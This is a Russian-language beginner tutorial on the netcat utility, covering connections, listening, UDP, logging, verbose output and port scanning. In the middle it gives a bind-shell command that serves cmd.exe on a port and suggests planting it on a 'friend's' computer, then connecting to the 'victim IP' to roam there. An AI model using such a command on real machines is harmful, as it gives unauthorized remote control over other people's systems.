Новичку полезно

  • Баннер
  • А знаете ли вы что?

    - необязательно учиться в институте на программиста что бы стать хакером!


NetCat лучший друг хакера или вся правда о пирочиных ножах

Теги: nc, netcat, пирочиный нож

NetCat одна из самых известных утилит для тестирования сетевых приложений. Поэтому я не мог пропустить эту чудесную тулзу из виду и не написать статью про самый лучший, на мой взгляд, инструмент для тестирования сетевых приложений.
Начнем пожалуй с того что с помощью nc можно тестировать все протоколы прикладного уровня модели OSI.(для тех кто не знает что это http://ru.wikipedia.org/wiki/Сетевая_модель_OSI). Да это не так уж и много и даже обидно что такая утилита не может на прямую работать с протоколами нижний уровней на подобие TCP или IP.
Но, увы, всего и сразу не бывает и может быть, если у меня будет настроения, я напишу, как работать с библиотекой pcap и вы сами сможете создать чудесное приложение для работы со стеком протоколов TCP/IP.
И так приступим к изучению NetCat с моей самой любимой команды help.
Набрав нашем обожаемом cmd строчку такого вида:
nc –h вы увидите хелп.(это для тех кто вообще ничего не понимает было написано:-))

C:>nc -h

Первое что сразу же должно бросится нам в глаза это синтаксис ввода команд:

connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]

Разберем же его более подробно.
В первой строчке написан синтаксис для тестирования серверных приложений после непосредственного ввода команды nc мы должны указать опции которые будут рассмотрены ниже, далее нужный нам хост и порт(ы).
Во второй строчке написан синтаксис для тестирования клиентских приложений опция –l обозначает включение режима прослушки определенного порта который мы указываем после опции –p, далее идут дополнительные опции имя хоста и порт соединение с которыми мы ожидаем.
На сколько вы уже могли догадаться то что указано в квадратных скобках является необязательными параметрами. А это значит что netcat можно запустить в таком виде:

C:>nc 127.0.0.1 80

И соединится с 80 портом у нас на localhost. NetCat будет терпеливо и послушно ждать данных, которые мы хотим отправить на указанный порт данного сервера, а при нажатие на enter отправит их и так же терпеливо будет ждать ответ от сервера.
Ну например если ввести в cmd:

C:>nc google.ru 80 [CR][LF] (даже не думайте вводить google.ru это вам не браузер)

То NetCat соединится с 80 портом сервера google.ru и будет ждать ввода данных, которые мы хотим оправить. Введем туда запрос главной страницы google.ru (для тех кто не знаком с протоколом HTTP http://ru.wikipedia.org/wiki/HTTP)

GET / HTTP/1.0[CR][LF] [CR][LF](два раза нужно нажать enter)

Для особо непонятливых [CR][LF] это нажатие на кнопку enter:-)(ну не совсем, вообще то это признак конца строки).
И о чудо мы видим, что к нам пришел html код главной страницы google.ru.
Команду nc –l –p port мы рассмотрим подробней, так как она представляет большой интерес.
Написав в cmd:

C:>nc –l –p 12345

Мы запускаем у себя на компьютере небольшой сервер, который прослушивает порт 12345.
Таким образом, мы можем даже переписываться с друзьями вот таким вот не хитрым образом:

C:>nc –l –p 12345

Этой командой мы запустим у себя сервер.

C:>nc ваш_ip 12345

А этой командой пусть воспользуется ваш друг. И можете общается как True HaCKeRs.
Или можно сделать все на localhost и переписываться самому с собой (ну мало ли друзей нет в жизни одиноко).
Надеюсь, основы вы поняли! Но мы же люди с непостижимой тягой к знаниям, так что будем углубляется.
Опция –e указывает на то какое приложение мы хотели бы запустить при коннекте к нашему серверу.

C:>nc –l –p 12345 –e C:/windows/system32/cmd.exe

Самое интересное в данной опции то, что весь ввод будет идти указанному приложению. А это значит что если мы запустим у «друга» команду указанную выше мы активируем удаленный шел и придя домой сможем свободно бродить у «друга в гостях»(если знаете основы работы с DOS).
Подключившись к нему таким вот образом:

C:>nc ip_жертвы 12345

Наверное, у некоторых встал вопрос, а может ли NetCat работать по UDP протоколу, вить все рассмотренное выше относится к TCP.Ответ однозначный и четкий да может! Для этого предназначена опция –u которую просто нужно подставить:

nc –l –p 12345 –u (прослушивает 12345 UDP порт)
nc –u 127.0.0.1 12345 (подключается к 12345 UDP порту)

и вуаля мы уже работаем по UDP протоколу, что не может меня не радовать, так как люди часто забывают про него и его преимущества, хотя и недостатков у него хватает, но эта тема отдельной статьи.
Опция –w указывает на количество времени, которое NetCat будет ждать ответа от сервера. Ну скажем если мы подключимся к серверу, а он нам не отвечает по каким либо причинам то приложение нужно будет заканчивать аварийно нажатием Ctrl+C, но опция –w лишает нас этого недостатка и устанавливает время ожидания по окончанию которого связь с сервером будет прервана!
Опция –o делает возможным сохранить в лог файл хекс дамп вашего соединения. Что бывает очень полезно при длительных анализах сетевых приложений, дабы вернутся и посмотреть, если что то неожиданно забыли :-) или просто нужно сохранить историю соединения в файл для дальнейшего анализа.
Допустим команда:

C:>nc –o C:/hexdump.txt pop.mail.ru 110
USER testuser[CR][LF]
PASS passuser[CR][LF]
RETR 1[CR][LF]
QUIT[CR][LF]

соединится с POP3 сервером mail.ru получит первое сообщение и выйдет сохранив историю соединения и сообщение в файл C:hexdump.txt. (подробней о работе с POP3 протоколом с подошью nc читайте мою статью «POP3 протокол или как работать с почтой при помощи пирочиного ножа»).
Опцию –v я просто обожаю! Она выводит экран подробную информацию о соединение что несет громадную пользу при исследование! Впрочем, сами все увидите.

C:>nc –v google.ru 80

Само собой разумеется, что эта чудесная опция тоже будет работать так:

C:>nс –l –p 12345 –v

И расскажет вам кто и зачем к вам подключился!
Опция –z очень помогает тогда когда вы знаете что такое циклы и как они работают.
При включение этой опции NetCat просто соединяется с указанным вами хостом и портом и и при включенной опции –v воозврашает ответ что хост доступен, а порт открыт(или недоступен и закрыт) при этом разумеется он не ждет от вас ввода данных для отправки, а сразу закрывает соединение.

C:>nс –v –z google.ru 80
DNS fwd/rev mismatch: google.ru != gv-in-f104.1e100.net
DNS fwd/rev mismatch: google.ru != ew-in-f104.1e100.net
DNS fwd/rev mismatch: google.ru != ww-in-f104.1e100.net
google.ru [216.239.59.104] 80 (http) open

Но постойте! А что если порт не открыт или еще хуже хост недоступен? Что тогда? Вечно ждать ответа? Или по-быстрому создать сервер, что бы он ответил на заданный вопрос? Нет, просто задать уже знакомый нам ключик –w.
А если данные будут отправляется слишком быстро? И сервер подумает что мы проводим ddos атаку? Но и тут коварный и ужасный NetCat придумал для нас опцию –i, с помощью которой мы задаем число секунд, через которое NetCat должен посылать следующий запрос.
Опция –n отключает DNS(и/или файл hosts) и поиск номеров портов в файле services.
(для ОС Windows C:WindowsSystem32driversetcservices
для *nic подобных ОС /etc/services)
Иногда это бывает полезным. Допустим, если некая программа изменила значение порта и его символьного представления.
Кажется, я забыл упомянуть о том, что номера портов не обязательно указывать как 80, можно указать как Номера портов и их символьное представление можно посмотреть в выше указанных файлах.
И наконец опция –s задает ip адрес с которого мы бы хотели подключиться или на котором мы бы хотели ожидать подключения к нам. Это тоже бывает полезно в тех случаях, когда у вас два разных ip адреса, и вы бы хотели ждать подключения или же подключатся с указанного вами ip(при наличии пары сетевых платы или локальной сети где есть localhost,LANip,WANip это актуально). Надо всего-то указать ваш адрес:

C:>nс –v –s my_ip_addr google.ru 80

Подключится к google.ru с адреса my_ip_addr.
Я попытался рассмотреть наиболее общие опции для различных версия NetCat. Опцию –t я подробно рассмотрел в моей статье «telnet ….».
В заключение могу сказать что возможности NetCat не ограничиваются рамками этой статьи более того могу сказать его возможности в *nix подобных ОС почти не ограничены и с уверенным знанием протоколов и языка Shell, вы сможете написать очень мощные сетевые приложения. Кстати в поставку NetCat входят скрипы, показывающие его серьезные возможности! Не надо думать что NetCat не применим в ОС Windows, он также может там использоваться, просто возможности консоли данной ОС не так велики что не удивительно вить в Windows упор сделан на удобство, а значит графический интерфейс в данном случае не так уж и важней.

Добавить комментарий








VK Стена

  • Пост: Еще немного мотивации. Minecraft на Uni ...
  • Пост: Кинцо.Disconnect (2012)Не самый охуитель ...
  • Пост: Немного мотивации
  • Пост: До сих пор не умеешь кодить под iOS ...
  • Пост: До сих пор не умеешь кодить под iOS ...
  • Пост: Part 2/2Python, только python. 12 часов пито ...
  • Пост: Part 1/2Python, только python. 12 часов пито ...
  • Новое фото в альбоме "True Hackers"
  • Новое фото в альбоме "Приколы"
  • Пост: ?

Cтатистика

SMS.копилка

SMS.копилка

Orphus

Система Orphus